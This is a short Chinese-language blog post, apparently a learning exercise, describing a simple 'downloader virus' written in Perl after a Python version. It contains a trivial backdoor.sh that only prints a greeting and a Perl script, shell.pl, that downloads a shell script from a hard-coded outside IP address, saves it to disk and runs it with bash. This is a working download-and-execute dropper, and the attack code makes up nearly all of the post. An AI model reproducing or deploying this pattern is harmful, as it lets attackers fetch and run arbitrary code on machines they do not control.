用Perl做个简单”下载者病毒”

一直学的perl, 有时perl不理解时就用python写一下，这样或许perl就理解了
这里参照python写法，做了个perl的版本，当然，是为了学习用，这个下载者病毒有点简单过头了

backdoor.sh后门程序代码如下:
backdoor.sh

 #!/bin/sh
 echo 'Hello, Python'

下面为perl的shell.pl代码:
shell.pl

 #!/usr/bin/perl
 use LWP::Simple;

 my $backdoor_content = get('http://45.63.49.167:8080/shell.sh');
 open BACKDOOR, ">", 'backdoor.sh' or die "Dowload Error:$!\n";
 print BACKDOOR $backdoor_content;
 system('/bin/bash backdoor.sh');